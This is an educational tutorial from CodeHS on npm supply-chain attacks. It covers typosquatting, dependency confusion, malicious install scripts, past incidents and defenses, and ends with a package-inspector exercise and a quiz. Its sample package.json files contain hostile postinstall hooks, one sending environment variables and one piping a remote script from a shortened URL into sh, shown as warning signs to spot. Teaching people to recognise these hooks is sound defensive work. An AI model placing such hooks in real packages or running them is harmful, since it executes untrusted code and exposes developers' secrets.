Please enable JavaScript to use CodeHS

Software Security

npm supply-chain attacks

Modern apps are built on mountains of open-source packages. A supply-chain attack tricks you into installing malicious code through a trusted package manager like npm. Learn the common tricks and how to defend your projects.

Security ~14 min High School / College Prep
The Problem

The software supply chain

A supply chain is the network of people, tools, and code that builds a final product. In software, your supply chain includes your code, your dependencies, their dependencies, the package registries you download from, and the machines that build and run everything.

When you run npm install, you are trusting thousands of packages written by strangers. Most of those packages are helpful and well-maintained, but if just one is malicious, it can run code on your machine or in your production deployment.

Key idea: a supply-chain attack does not have to break your server directly. It can break you by breaking the code you voluntarily install.


Attack

Typosquatting

Typosquatting is when an attacker publishes a package with a name nearly identical to a popular one. If a developer mistypes lodash as loadash or node-fetch as node-fech, they may install the wrong package.

Once the bad package is installed, its code runs whenever it is required. It can steal environment variables, add backdoors, or quietly change behavior. The typo can sit in a project for months before anyone notices.

How it looks: the malicious package name, version, and README are designed to look official. Only a close reading of the author name, download count, or repository URL reveals the mismatch.


Attack

Dependency confusion

Many companies publish private npm packages for internal use. If the package is not scoped under a company namespace, npm's resolver will look in the public registry when it cannot find the package in the private registry. An attacker who registers a public package with the same name can trick npm into installing the attacker's version.

The fix is to use scoped packages like @mycompany/utils, configure npm to always use the private registry for that scope, and never rely on a public package having the same name as a private one.


Attack

Malicious install scripts

npm packages can declare lifecycle scripts that run automatically when the package is installed. The most common are postinstall and preinstall. These scripts are meant for compiling native code or printing friendly messages, but an attacker can use them to run any command on your machine.

// package.json inside a malicious package
{
  "name": "harmless-looking-helper",
  "scripts": {
    "postinstall": "node ./send-env-vars.js"
  }
}

When a developer runs npm install, the malicious postinstall script runs immediately. The user may not even know the package had a postinstall step. You can protect yourself by inspecting scripts before installing and by using npm install --ignore-scripts when you only need the package content, not its build step.


Context

Real incidents

Supply-chain attacks are not theoretical. Here are a few well-known cases from the npm ecosystem:

  • event-stream (2018): a popular stream utility was transferred to a new maintainer, who added a dependency that contained a targeted payload to steal cryptocurrency from a specific application.
  • ua-parser-js (2021): compromised account published malicious versions that ran cryptocurrency miners and tried to steal sensitive files on install.
  • colors and faker (2022): the maintainer of widely used formatting packages intentionally introduced infinite loops and misleading output to protest unpaid open-source work, breaking many CI pipelines and projects.
  • node-ipc (2022): a package used for inter-process communication included code that overwrote files with protest messages in certain geographic regions.

These cases show that risk can come from compromised accounts, malicious maintainers, or well-meaning sabotage. The lesson is the same: trust the package, not just the name.


Defenses

Defending your project

You cannot review every line of every dependency, but you can make attacks much harder:

  1. Use lockfiles. package-lock.json pins exact package versions and integrity hashes. It prevents npm from silently installing a different version.
  2. Check metadata before installing. Look at the package author, version history, weekly downloads, repository URL, and issue tracker. A brand-new package with a name almost identical to a popular one is a red flag.
  3. Read install scripts. Review postinstall and preinstall scripts. If they download extra files or execute obfuscated code, be suspicious.
  4. Use scoped private packages. If your company publishes internal packages, use a scope like @codehs/utils and configure npm to use the private registry for that scope.
  5. Run npm audit. npm flags known vulnerabilities in your dependencies. Treat warnings seriously, especially for packages with install scripts.
  6. Keep dependencies up to date and minimal. Fewer dependencies mean less attack surface. Remove packages you no longer use.
  7. Use CI secrets carefully. Build and deploy pipelines often have access to API keys. Run install steps in isolated environments and do not expose secrets to postinstall scripts unless necessary.

Key idea: defense is about habits, not one-time checks. Make it normal to inspect what you install before it runs on your machine or your users' machines.


Code

Spot typosquats in code

Here is a tiny Python helper that checks a requested package name against a list of trusted names. It uses Levenshtein distance — the minimum number of single-character edits needed to turn one string into another — to flag near-misses.


Interactive

Package inspector

Four packages just showed up in a project. Look at each one and decide whether it looks safe to install or suspicious enough to skip. Click a choice to see the explanation.

Look at name, version, downloads, author, repository, and scripts.

loadash v4.17.22 • 412 weekly downloads • author: helper-tools

A utility library for working with arrays, objects, and strings.

// package.json
{
  "name": "loadash",
  "version": "4.17.22",
  "description": "A modern JavaScript utility library",
  "scripts": {
    "postinstall": "node scripts/welcome.js"
  }
}

Repository: not linked | Last published: 2 days ago

lodash v4.17.21 • 45,000,000 weekly downloads • author: lodash-bot

A modern JavaScript utility library delivering modularity, performance & extras.

// package.json
{
  "name": "lodash",
  "version": "4.17.21",
  "description": "A modern JavaScript utility library",
  "scripts": {
    "postinstall": "node scripts/welcome.js"
  }
}

Repository: github.com/lodash/lodash | Last published: 2 years ago

internal-utils v1.0.0 • 63 weekly downloads • author: dev-helper99

Shared utilities for internal projects.

// package.json
{
  "name": "internal-utils",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl https://short.url/setup | sh"
  }
}

Repository: not linked | Last published: 3 hours ago

is-odd v3.0.1 • 1,200,000 weekly downloads • author: jonschlinkert

Returns true if the given number is odd.

// package.json
{
  "name": "is-odd",
  "version": "3.0.1",
  "scripts": {},
  "repository": "github.com/jonschlinkert/is-odd"
}

Repository: github.com/jonschlinkert/is-odd | Last published: 6 years ago


Your Turn

Check yourself

1. Your teammate wants to install a package called react-domm. What should you check before allowing it?

Sample answer: I would check the official name (react-dom), the author, the download count, the repository URL, and any install scripts. A misspelled name with few downloads and no repo is a typosquatting risk.

2. Why does a lockfile help protect against supply-chain attacks?

Sample answer: A lockfile records the exact version and integrity hash of each installed package. When someone runs npm install later, npm installs those exact versions instead of the latest matching version, which prevents a malicious update from slipping in silently.


Check Yourself

Quick quiz

1. What is typosquatting?

2. How can dependency confusion happen?

3. Which of these is a good defense?

Keep learning

Supply-chain security is just one part of building reliable software. Keep exploring the rest of the tutorials to learn about version control, testing, and how to ship code safely.

A Software Security tutorial from CodeHS.